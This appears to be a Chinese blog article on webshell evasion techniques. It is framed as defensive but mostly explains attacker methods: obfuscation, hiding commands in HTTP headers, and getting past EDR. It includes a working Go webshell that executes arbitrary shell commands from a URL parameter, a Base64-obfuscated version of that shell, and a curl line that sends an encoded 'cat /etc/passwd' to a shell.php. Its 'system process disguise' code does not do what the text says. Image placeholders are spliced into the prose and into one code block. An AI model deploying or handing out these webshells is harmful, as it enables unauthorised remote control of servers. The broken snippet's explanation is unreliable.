0x01 免杀的秘密花园

在安全防护的世界中,Webshell成为了许多防御者的噩梦。如何让其在躲避检测的同时保持功能,是攻击者不断追求的目标。在这里,我们将从防御角度出发,揭示攻击者如何在Webshell免杀的道路上不断迭代技术,穿越防护系统的层层障碍。

Webshell的核心在于其能够提供远程对服务器的控制能力,而免杀技术的本质则是让其逃过防御系统的眼睛。这意味着攻击者需要从编码、加密、混淆等多个方面入手,最大化地提升Webshell在检测系统面前的隐匿能力。

攻击者首先会对目标环境进行详细的信息收集,了解其使用的防御机制(如WAF、IDS/IPS、EDR等)。接下来,他们会结合这些信息来调整Webshell的免杀策略,例如改变Webshell的特征以绕过签名检测,或者利用编码和混淆技术来逃避行为分析。

以下是一段典型Webshell的伪代码,攻击者会通过修改和混淆这段代码来进行免杀操作:

<pre><code class="language-go">package main

import ( &quot;net/http&quot; &quot;os/exec&quot; )

func handler(w http.ResponseWriter, r *http.Request) { cmd := r.URL.Query().Get(&quot;cmd&quot;) out, err := exec.Command(&quot;sh&quot;, &quot;-c&quot;, cmd).Output() if err != nil { w.Write([]byte(err.Error())) } else { w.Write(out) } }

func main() { http.HandleFunc(&quot;/&quot;, handler) http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

这段代码提供了一个简单的Webshell实现,通过HTTP请求执行命令。然而,攻击者会对其进行优化以实现免杀,例如使用Base64编码来隐藏恶意代码,或者通过动态生成代码来防止静态分析。

流量捕获实战

在攻击过程中,流量捕获是实现免杀的关键步骤之一。攻击者会使用各种技术来伪装Webshell的通信流量,使其看起来正常。这不仅仅涉及到通信协议的选择,更包括流量的加密和变形。

一种常见的方法是利用HTTP流量进行数据传输,因为HTTP是Web应用最常用的协议之一,具有极强的隐蔽性。攻击者会通过对HTTP请求进行巧妙设计,把恶意命令或数据藏在看似正常的请求中。例如,使用HTTP头字段来传递数据,因为这些字段通常不会被深度分析。

攻击者还可能使用流量加密技术,例如采用自定义的加密算法来对传输的数据进行加密。这不仅可以提高数据的隐蔽性,还能增加分析人员的解码难度。在一些高级场景中,攻击者甚至会模拟合法流量的模式,使得每次Webshell的通信都与常规访问无异。

以下是一个通过HTTP头字段传递数据的示例:

<pre><code class="language-shell">curl -H &quot;X-Cmd: $(echo &#039;cat /etc/passwd&#039; | base64)&quot; http://target.com/shell.php</code></pre>

黑客示意图

在这个例子中,攻击者将命令编码为Base64,然后通过自定义HTTP头字段传递。这样做可以防止简单的字符串匹配检测,同时利用HTTP协议的正常性降低被分析的可能。

黑客示意图

Payload构造的艺术

攻击者在构造Webshell时,会关注Payload的隐蔽性和功能性。一个优秀的Payload不仅需要能够执行预期操作,还要兼具隐蔽性以逃过检测。在构造过程中,攻击者会使用各种技巧来提升Payload的免杀能力。

首先是代码混淆。通过改变代码的结构和变量名,攻击者可以有效地提高Payload的隐匿性。混淆技术可以使代码看起来无序且难以理解,从而对抗静态分析。

其次是动态生成。攻击者会采用动态生成技术,使得每次生成的Payload都不同。通过使用随机数或算法,Payload可以在执行时生成,进一步降低被检测的概率。

最后是压缩和加密。攻击者会对Payload进行压缩和加密处理,使得其在存储和传输过程中不容易被识别。通过自定义的压缩算法和加密协议,Payload能够有效地提高其对抗分析的能力。

以下是一个简单的混淆示例:

<pre><code class="language-go">package main

import ( &quot;net/http&quot; &quot;os/exec&quot; &quot;encoding/base64&quot; )

func handler(w http.ResponseWriter, r *http.Request) { b64cmd := r.URL.Query().Get(&quot;cmd&quot;) cmdBytes, _ := base64.StdEncoding.DecodeString(b64cmd) out, err := exec.Command(&quot;sh&quot;, &quot;-c&quot;, string(cmdBytes)).Output() if err != nil { w.Write([]byte(base64.StdEncoding.EncodeToString([]byte(err.Error())))) } else { w.Write([]byte(base64.StdEncoding.EncodeToString(out))) } }

黑客示意图

func main() { http.HandleFunc(&quot;/&quot;, handler) http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

黑客示意图

在这个代码中,命令和输出都进行了Base64编码处理,增加了检测和分析的难度。

EDR与防护的迂回

在面对EDR等现代防御系统时,攻击者需要更高明的技巧来实现免杀。现代EDR系统往往会结合多种技术,包括行为分析和机器学习,来检测异常活动。为了对抗这些系统,攻击者必须深入了解其工作原理,并进行针对性的迂回。

一种常见的迂回方式是利用白名单漏洞。攻击者会将Webshell伪装成系统中已经被信任的程序或进程,通过利用白名单机制来绕过防护。这需要攻击者对目标系统的运行环境有深入研究,以找到合适的切入点。

另一个方法是通过正常行为伪装。攻击者会设计Webshell的行为,使其看起来像是正常的系统活动。例如,利用常规的系统调用和网络连接,使得Webshell的活动与合法程序无异,从而躲避EDR的行为分析。

以下是一个伪装成系统进程的示例:

<pre><code class="language-go">package main

import ( &quot;os&quot; &quot;os/exec&quot; &quot;syscall&quot; )

func main() { exec.Command(&quot;/bin/bash&quot;, &quot;-c&quot;, &quot;echo &#039;Running as a system process&#039;&quot;).Run() syscall.Setsid() os.Setenv(&quot;PATH&quot;, &quot;/usr/local/bin&quot;) // Webshell logic here... }</code></pre>

在这个代码中,Webshell伪装成系统进程运行,利用环境变量和系统调用来提高其隐蔽性。

攻击者的反思

经过多次实战,攻击者会对Webshell免杀技术有更深刻的理解和反思。免杀不仅仅是技术问题,更是对系统和环境的深刻洞察。攻击者需要不断地学习和创新,以应对安全防护的迭代。

在这过程中,攻击者会意识到免杀技术只是成功的一部分,更重要的是对目标的全面掌控和策略的灵活调整。通过结合社会工程学和物理渗透,攻击者可以获得更广泛的攻击面和更高的成功率。

最后,攻防之间的博弈永无止境,攻击者需要不断地探索新的技术和方法,以适应快速变化的安全环境。免杀技术的核心在于创新和适应,而这也是每个攻击者追求的终极目标。